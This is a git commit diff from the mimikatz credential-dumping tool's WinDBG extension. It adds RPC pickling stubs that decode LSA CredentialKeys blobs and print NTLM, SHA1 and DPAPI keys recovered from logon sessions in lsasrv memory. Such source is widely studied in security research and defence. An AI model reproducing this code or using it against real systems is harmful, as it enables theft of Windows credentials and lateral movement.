[internal] mimilib - sekurlsa for WinDBG now uses RPC for LSA CredentialKeys

This commit is contained in:
Benjamin DELPY 2016-07-29 23:32:06 +02:00
parent b2f09cf903
commit 3d08b8b758
9 changed files with 284 additions and 53 deletions

View File

@ -69,7 +69,7 @@
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AssemblyDebug>false</AssemblyDebug>
<AdditionalDependencies>advapi32.lib;ntdll.min.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalDependencies>advapi32.lib;ntdll.min.lib;rpcrt4.lib;%(AdditionalDependencies)</AdditionalDependencies>
<DataExecutionPrevention>true</DataExecutionPrevention>
<LinkErrorReporting>NoErrorReport</LinkErrorReporting>
<ImageHasSafeExceptionHandlers>false</ImageHasSafeExceptionHandlers>
@ -92,6 +92,8 @@
<ClCompile Include="sekurlsadbg\kuhl_m_sekurlsa_nt6.c" />
<ClCompile Include="sekurlsadbg\kuhl_m_sekurlsa_packages.c" />
<ClCompile Include="sekurlsadbg\kuhl_m_sekurlsa_utils.c" />
<ClCompile Include="sekurlsadbg\kull_m_rpc.c" />
<ClCompile Include="sekurlsadbg\kull_m_rpc_ms-credentialkeys.c" />
<ClCompile Include="sekurlsadbg\kwindbg.c" />
<ClCompile Include="utils.c" />
</ItemGroup>
@ -101,6 +103,8 @@
<ClInclude Include="sekurlsadbg\kuhl_m_sekurlsa_nt6.h" />
<ClInclude Include="sekurlsadbg\kuhl_m_sekurlsa_packages.h" />
<ClInclude Include="sekurlsadbg\kuhl_m_sekurlsa_utils.h" />
<ClInclude Include="sekurlsadbg\kull_m_rpc.h" />
<ClInclude Include="sekurlsadbg\kull_m_rpc_ms-credentialkeys.h" />
<ClInclude Include="sekurlsadbg\kwindbg.h" />
<ClInclude Include="utils.h" />
</ItemGroup>

View File

@ -23,6 +23,12 @@
<ClCompile Include="sekurlsadbg\kuhl_m_sekurlsa_packages.c">
<Filter>sekurlsadbg</Filter>
</ClCompile>
<ClCompile Include="sekurlsadbg\kull_m_rpc.c">
<Filter>sekurlsadbg</Filter>
</ClCompile>
<ClCompile Include="sekurlsadbg\kull_m_rpc_ms-credentialkeys.c">
<Filter>sekurlsadbg</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="utils.h" />
@ -40,6 +46,12 @@
<ClInclude Include="sekurlsadbg\kuhl_m_sekurlsa_packages.h">
<Filter>sekurlsadbg</Filter>
</ClInclude>
<ClInclude Include="sekurlsadbg\kull_m_rpc.h">
<Filter>sekurlsadbg</Filter>
</ClInclude>
<ClInclude Include="sekurlsadbg\kull_m_rpc_ms-credentialkeys.h">
<Filter>sekurlsadbg</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Filter Include="sekurlsadbg">

View File

@ -5,6 +5,7 @@
*/
#pragma once
#include "kwindbg.h"
#include "kull_m_rpc_ms-credentialkeys.h"
void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_msv(IN ULONG_PTR reserved, IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData);
void CALLBACK kuhl_m_sekurlsa_enum_logon_callback_kerberos(IN ULONG_PTR pKerbGlobalLogonSessionTable, IN PKIWI_BASIC_SECURITY_LOGON_SESSION_DATA pData);
@ -74,44 +75,6 @@ typedef struct _MSV1_0_PRIMARY_HELPER {
const MSV1_0_PRIMARY_HELPER * kuhl_m_sekurlsa_msv_helper();
typedef struct _RPCE_COMMON_TYPE_HEADER {
UCHAR Version;
UCHAR Endianness;
USHORT CommonHeaderLength;
ULONG Filler;
} RPCE_COMMON_TYPE_HEADER, *PRPCE_COMMON_TYPE_HEADER;
typedef struct _RPCE_PRIVATE_HEADER {
ULONG ObjectBufferLength;
ULONG Filler;
} RPCE_PRIVATE_HEADER, *PRPCE_PRIVATE_HEADER;
typedef ULONG32 RPCEID;
typedef enum _KIWI_CREDENTIALS_KEY_TYPE {
CREDENTIALS_KEY_TYPE_NTLM = 1,
CREDENTIALS_KEY_TYPE_SHA1 = 2,
CREDENTIALS_KEY_TYPE_ROOTKEY = 3,
CREDENTIALS_KEY_TYPE_DPAPI_PROTECTION = 4,
} KIWI_CREDENTIALS_KEY_TYPE;
typedef struct _MARSHALL_KEY {
WORD unk0;
WORD type;
WORD iterations;
WORD size;
RPCEID ElementId;
} MARSHALL_KEY, *PMARSHALL_KEY;
typedef struct _RPCE_CREDENTIAL_KEYCREDENTIAL {
RPCE_COMMON_TYPE_HEADER typeHeader;
RPCE_PRIVATE_HEADER privateHeader;
RPCEID RootElementId;
DWORD unk0;
DWORD unk1;
MARSHALL_KEY key[ANYSIZE_ARRAY];
} RPCE_CREDENTIAL_KEYCREDENTIAL, *PRPCE_CREDENTIAL_KEYCREDENTIAL;
typedef struct _KERB_HASHPASSWORD_6 {
LSA_UNICODE_STRING salt; // http://tools.ietf.org/html/rfc3962
PVOID stringToKey; // AES Iterations (dword ?)

View File

@ -0,0 +1,68 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#include "kull_m_rpc.h"
void __RPC_FAR * __RPC_USER midl_user_allocate(size_t cBytes)
{
void __RPC_FAR * ptr = NULL;
if(ptr = malloc(cBytes))
RtlZeroMemory(ptr, cBytes);
return ptr;
}
void __RPC_USER midl_user_free(void __RPC_FAR * p)
{
free(p);
}
void __RPC_USER ReadFcn(void *State, char **pBuffer, unsigned int *pSize)
{
*pBuffer = (char *) ((PKULL_M_RPC_FCNSTRUCT) State)->addr;
((PKULL_M_RPC_FCNSTRUCT) State)->addr = *pBuffer + *pSize;
((PKULL_M_RPC_FCNSTRUCT) State)->size -= *pSize;
}
BOOL kull_m_rpc_Generic_Decode(PVOID data, DWORD size, PVOID pObject, PGENERIC_RPC_DECODE function)
{
BOOL status = FALSE;
RPC_STATUS rpcStatus;
KULL_M_RPC_FCNSTRUCT UserState = {data, size};
handle_t pHandle;
rpcStatus = MesDecodeIncrementalHandleCreate(&UserState, ReadFcn, &pHandle);
if(NT_SUCCESS(rpcStatus))
{
rpcStatus = MesIncrementalHandleReset(pHandle, NULL, NULL, NULL, NULL, MES_DECODE);
if(NT_SUCCESS(rpcStatus))
{
RpcTryExcept
function(pHandle, pObject);
status = TRUE; //(*(PVOID *) pObject != NULL);
RpcExcept(RPC_EXCEPTION)
dprintf("[ERROR] [RPC Decode] Exception 0x%08x (%u)\n", RpcExceptionCode(), RpcExceptionCode());
RpcEndExcept
}
else dprintf("[ERROR] [RPC Decode] MesIncrementalHandleReset: %08x\n", rpcStatus);
MesHandleFree(pHandle);
}
else dprintf("[ERROR] [RPC Decode] MesDecodeIncrementalHandleCreate: %08x\n", rpcStatus);
return status;
}
void kull_m_rpc_Generic_Free(PVOID pObject, PGENERIC_RPC_FREE function)
{
RPC_STATUS rpcStatus;
KULL_M_RPC_FCNSTRUCT UserState = {NULL, 0};
handle_t pHandle;
rpcStatus = MesDecodeIncrementalHandleCreate(&UserState, ReadFcn, &pHandle); // for legacy
if(NT_SUCCESS(rpcStatus))
{
function(pHandle, pObject);
MesHandleFree(pHandle);
}
else dprintf("[ERROR] [RPC Free] MesDecodeIncrementalHandleCreate: %08x\n", rpcStatus);
}

View File

@ -0,0 +1,51 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : https://creativecommons.org/licenses/by/4.0/
*/
#pragma once
#include "kuhl_m_sekurlsa_utils.h"
#ifndef __REQUIRED_RPCNDR_H_VERSION__
#define __REQUIRED_RPCNDR_H_VERSION__ 475
#endif
#include <rpc.h>
#include <rpcndr.h>
#ifndef __RPCNDR_H_VERSION__
#error this stub requires an updated version of <rpcndr.h>
#endif // __RPCNDR_H_VERSION__
#include "midles.h"
#include <string.h>
typedef DWORD NET_API_STATUS;
typedef UNICODE_STRING RPC_UNICODE_STRING;
typedef struct _KULL_M_RPC_FCNSTRUCT {
PVOID addr;
size_t size;
} KULL_M_RPC_FCNSTRUCT, *PKULL_M_RPC_FCNSTRUCT;
void __RPC_FAR * __RPC_USER midl_user_allocate(size_t cBytes);
void __RPC_USER midl_user_free(void __RPC_FAR * p);
void __RPC_USER ReadFcn(void *State, char **pBuffer, unsigned int *pSize);
void __RPC_USER WriteFcn(void *State, char *Buffer, unsigned int Size);
void __RPC_USER AllocFcn(void *State, char **pBuffer, unsigned int *pSize);
#define RPC_EXCEPTION (RpcExceptionCode() != STATUS_ACCESS_VIOLATION) && \
(RpcExceptionCode() != STATUS_DATATYPE_MISALIGNMENT) && \
(RpcExceptionCode() != STATUS_PRIVILEGED_INSTRUCTION) && \
(RpcExceptionCode() != STATUS_ILLEGAL_INSTRUCTION) && \
(RpcExceptionCode() != STATUS_BREAKPOINT) && \
(RpcExceptionCode() != STATUS_STACK_OVERFLOW) && \
(RpcExceptionCode() != STATUS_IN_PAGE_ERROR) && \
(RpcExceptionCode() != STATUS_ASSERTION_FAILURE) && \
(RpcExceptionCode() != STATUS_STACK_BUFFER_OVERRUN) && \
(RpcExceptionCode() != STATUS_GUARD_PAGE_VIOLATION)
typedef void (* PGENERIC_RPC_DECODE) (IN handle_t pHandle, IN PVOID pObject);
typedef void (* PGENERIC_RPC_FREE) (IN handle_t pHandle, IN PVOID pObject);
BOOL kull_m_rpc_Generic_Decode(PVOID data, DWORD size, PVOID pObject, PGENERIC_RPC_DECODE function);
void kull_m_rpc_Generic_Free(PVOID data, PGENERIC_RPC_FREE function);

View File

@ -0,0 +1,99 @@
#include "kull_m_rpc_ms-credentialkeys.h"
#if _MSC_VER >= 1200
#pragma warning(push)
#endif
#pragma warning(disable: 4211) /* redefine extern to static */
#pragma warning(disable: 4232) /* dllimport identity*/
#pragma warning(disable: 4024) /* array to pointer mapping*/
typedef struct _ms_credentialkeys_MIDL_TYPE_FORMAT_STRING {
short Pad;
unsigned char Format[70];
} ms_credentialkeys_MIDL_TYPE_FORMAT_STRING;
extern const ms_credentialkeys_MIDL_TYPE_FORMAT_STRING ms_credentialkeys__MIDL_TypeFormatString;
static const RPC_CLIENT_INTERFACE mscredentialkeys___RpcClientInterface = {sizeof(RPC_CLIENT_INTERFACE), {{0xd9ae4745, 0x178e, 0x4561, {0xa5, 0x3f, 0xf0, 0x84, 0xf9, 0x92, 0x13, 0xe5}}, {1, 0}}, {{0x8a885d04, 0x1ceb, 0x11c9, {0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60}}, {2, 0}}, 0, 0, 0, 0, 0, 0x00000000};
static const MIDL_TYPE_PICKLING_INFO __MIDL_TypePicklingInfo = {0x33205054, 0x3, 0, 0, 0,};
static RPC_BINDING_HANDLE mscredentialkeys__MIDL_AutoBindHandle;
static const MIDL_STUB_DESC mscredentialkeys_StubDesc = {(void *) &mscredentialkeys___RpcClientInterface, MIDL_user_allocate, MIDL_user_free, &mscredentialkeys__MIDL_AutoBindHandle, 0, 0, 0, 0, ms_credentialkeys__MIDL_TypeFormatString.Format, 1, 0x60000, 0, 0x8000253, 0, 0, 0, 0x1, 0, 0, 0};
void CredentialKeys_Decode(handle_t _MidlEsHandle, PKIWI_CREDENTIAL_KEYS * _pType)
{
NdrMesTypeDecode2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO) &__MIDL_TypePicklingInfo, &mscredentialkeys_StubDesc, (PFORMAT_STRING) &ms_credentialkeys__MIDL_TypeFormatString.Format[1], _pType);
}
void CredentialKeys_Free(handle_t _MidlEsHandle, PKIWI_CREDENTIAL_KEYS * _pType)
{
NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO) &__MIDL_TypePicklingInfo, &mscredentialkeys_StubDesc, (PFORMAT_STRING) &ms_credentialkeys__MIDL_TypeFormatString.Format[1], _pType);
}
static const ms_credentialkeys_MIDL_TYPE_FORMAT_STRING ms_credentialkeys__MIDL_TypeFormatString = {
0,
{
0x00,
0x12, 0x01,
0x36, /* FC_POINTER */
0x00,
0x1B, /* FC_CARRAY */
0x00,
NdrFcShort(0x1), /* 1 */
0x17, /* Corr desc: FC_CSTRUCT */
0x00,
NdrFcShort(0xa),
NdrFcShort(0x1), /* Corr flags: early, */
0x02, /* FC_CHAR */
0x5B, /* FC_END */
0x1A, /* FC_BOGUS_STRUCT */
0x3,
#ifdef _M_X64
NdrFcShort(0x14), // size 20
#elif defined _M_IX86
NdrFcShort(0x10), // size 16
#endif
NdrFcShort(0x0),
NdrFcShort(0x8),
0x0D, /* FC_ENUM16 */
0x0D, /* FC_ENUM16 */
0x06, /* FC_SHORT */
0x06, /* FC_SHORT */
0x36, /* FC_POINTER */
0x5B, /* FC_END */
0x12, 0x20,
NdrFcShort(0xffe4), /* Offset= -28 ...*/
0x21, /* FC_BOGUS_ARRAY */
0x03, /* 3 */
NdrFcShort(0x0), /* 0 */
0x07, /* FC_USHORT */
0x00,
NdrFcShort(0xfffc), /* Offset= -4 ...*/
NdrFcShort(0x1), /* Corr flags: early, */
NdrFcLong(0xffffffff), /* -1 */
NdrFcShort(0x0), /* Corr flags: */
0x4C, /* FC_EMBEDDED_COMPLEX */
0x00,
NdrFcShort(0xffdc), /* Offset= -36 ...*/
0x5C, /* FC_PAD */
0x5B, /* FC_END */
0x1A, /* FC_BOGUS_STRUCT */
0x03,
NdrFcShort(0x4),
NdrFcShort(0xffe6), /* Offset= -26 ...*/
NdrFcShort(0x0),
0x06, /* FC_SHORT */
0x3E, /* FC_STRUCTPAD2 */
0x5C, /* FC_PAD */
0x5B, /* FC_END */
0x00
}
};
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif

View File

@ -0,0 +1,30 @@
#pragma once
#include "kull_m_rpc.h"
typedef enum _KIWI_CREDENTIAL_KEY_TYPE {
CREDENTIALS_KEY_TYPE_NTLM = 1,
CREDENTIALS_KEY_TYPE_SHA1 = 2,
CREDENTIALS_KEY_TYPE_ROOTKEY = 3,
CREDENTIALS_KEY_TYPE_DPAPI_PROTECTION = 4,
} KIWI_CREDENTIAL_KEY_TYPE;
#pragma pack(push, 4)
typedef struct _KIWI_CREDENTIAL_KEY {
DWORD unkEnum; // version ?
KIWI_CREDENTIAL_KEY_TYPE type;
WORD iterations;
WORD cbData;
BYTE *pbData;
} KIWI_CREDENTIAL_KEY, *PKIWI_CREDENTIAL_KEY;
typedef struct _KIWI_CREDENTIAL_KEYS {
DWORD count;
KIWI_CREDENTIAL_KEY keys[ANYSIZE_ARRAY];
} KIWI_CREDENTIAL_KEYS, *PKIWI_CREDENTIAL_KEYS;
#pragma pack(pop)
void CredentialKeys_Decode(handle_t _MidlEsHandle, PKIWI_CREDENTIAL_KEYS * _pType);
void CredentialKeys_Free(handle_t _MidlEsHandle, PKIWI_CREDENTIAL_KEYS * _pType);
#define kull_m_rpc_DecodeCredentialKeys(/*PVOID */data, /*DWORD */size, /*PKIWI_CREDENTIAL_KEYS **/pObject) kull_m_rpc_Generic_Decode(data, size, pObject, (PGENERIC_RPC_DECODE) CredentialKeys_Decode)
#define kull_m_rpc_FreeCredentialKeys(/*PKIWI_CREDENTIAL_KEYS **/pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) CredentialKeys_Free)

View File

@ -213,21 +213,24 @@ DECLARE_API(mimikatz)
LocalFree(LogonSessionList);
}
}
} else dprintf("[ERROR] [LSA] Symbols\n%p - lsasrv!LogonSessionListCount\n%p - lsasrv!LogonSessionList\n", pLogonSessionListCount, pLogonSessionList);
} else dprintf("[ERROR] [CRYPTO] Acquire keys");
} else dprintf("[ERROR] [CRYPTO] Symbols\n%p - lsasrv!InitializationVector\n%p - lsasrv!hAesKey\n%p - lsasrv!h3DesKey\n", pInitializationVector, phAesKey, ph3DesKey);
}
else dprintf("[ERROR] [LSA] Symbols\n%p - lsasrv!LogonSessionListCount\n%p - lsasrv!LogonSessionList\n", pLogonSessionListCount, pLogonSessionList);
}
else dprintf("[ERROR] [CRYPTO] Acquire keys");
}
else dprintf("[ERROR] [CRYPTO] Symbols\n%p - lsasrv!InitializationVector\n%p - lsasrv!hAesKey\n%p - lsasrv!h3DesKey\n", pInitializationVector, phAesKey, ph3DesKey);
kuhl_m_sekurlsa_nt6_LsaCleanupProtectedMemory();
} else dprintf("[ERROR] [CRYPTO] Init\n");
}
else dprintf("[ERROR] [CRYPTO] Init\n");
}
UNICODE_STRING uNull = {12, 14, L"(null)"};
VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PLUID luid, ULONG flags)
{
PUNICODE_STRING username = NULL, domain = NULL, password = NULL;
PRPCE_CREDENTIAL_KEYCREDENTIAL pRpceCredentialKeyCreds;
PKIWI_CREDENTIAL_KEYS pKeys = NULL;
PKERB_HASHPASSWORD_6 pHashPassword;
UNICODE_STRING buffer;
PVOID base;
DWORD type, i;
BOOL isNull = FALSE;
PBYTE msvCredentials;
@ -271,10 +274,12 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
else kuhl_m_sekurlsa_genericLsaIsoOutput((PLSAISO_DATA_BLOB) (msvCredentials + pMSVHelper->offsetToIso + sizeof(USHORT)));
break;
case KUHL_SEKURLSA_CREDS_DISPLAY_CREDENTIALKEY:
pRpceCredentialKeyCreds = (PRPCE_CREDENTIAL_KEYCREDENTIAL) msvCredentials;
base = (PBYTE) pRpceCredentialKeyCreds + sizeof(RPCE_CREDENTIAL_KEYCREDENTIAL) + (pRpceCredentialKeyCreds->unk0 - 1) * sizeof(MARSHALL_KEY);
for (i = 0; i < pRpceCredentialKeyCreds->unk0; i++)
kuhl_m_sekurlsa_genericKeyOutput(&pRpceCredentialKeyCreds->key[i], &base);
if(kull_m_rpc_DecodeCredentialKeys(msvCredentials, ((PUNICODE_STRING) mesCreds)->Length, &pKeys))
{
for(i = 0; i < pKeys->count; i++)
kuhl_m_sekurlsa_genericKeyOutput(&pKeys->keys[i]);
kull_m_rpc_FreeCredentialKeys(&pKeys);
}
break;
default:
dprintf("\n\t * Raw data : ");
@ -396,7 +401,7 @@ VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCred
else dprintf("LUID KO\n");
}
VOID kuhl_m_sekurlsa_genericKeyOutput(PMARSHALL_KEY key, PVOID * dirtyBase)
VOID kuhl_m_sekurlsa_genericKeyOutput(PKIWI_CREDENTIAL_KEY key)
{
switch(key->type)
{
@ -415,8 +420,7 @@ VOID kuhl_m_sekurlsa_genericKeyOutput(PMARSHALL_KEY key, PVOID * dirtyBase)
default:
dprintf("\n\t * %08x : ", key->type);
}
kull_m_string_dprintf_hex((PBYTE) *dirtyBase + sizeof(ULONG), key->size, 0);
*dirtyBase = (PBYTE) *dirtyBase + sizeof(ULONG) + *(PULONG) *dirtyBase;
kull_m_string_dprintf_hex(key->pbData, key->cbData, 0);
}
VOID kuhl_m_sekurlsa_genericLsaIsoOutput(PLSAISO_DATA_BLOB blob)

View File

@ -64,7 +64,7 @@ VOID WDBGAPI WinDbgExtensionDllInit (PWINDBG_EXTENSION_APIS lpExtensionApis, USH
DECLARE_API(mimikatz);
VOID kuhl_m_sekurlsa_genericCredsOutput(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, PLUID luid, ULONG flags);
VOID kuhl_m_sekurlsa_genericKeyOutput(struct _MARSHALL_KEY * key, PVOID * dirtyBase);
VOID kuhl_m_sekurlsa_genericKeyOutput(struct _KIWI_CREDENTIAL_KEY * key);
VOID kuhl_m_sekurlsa_genericLsaIsoOutput(struct _LSAISO_DATA_BLOB * blob);
void kuhl_m_sekurlsa_krbtgt_keys(PVOID addr, LPCSTR prefix);
void kuhl_m_sekurlsa_krbtgt_trust(ULONG_PTR addr);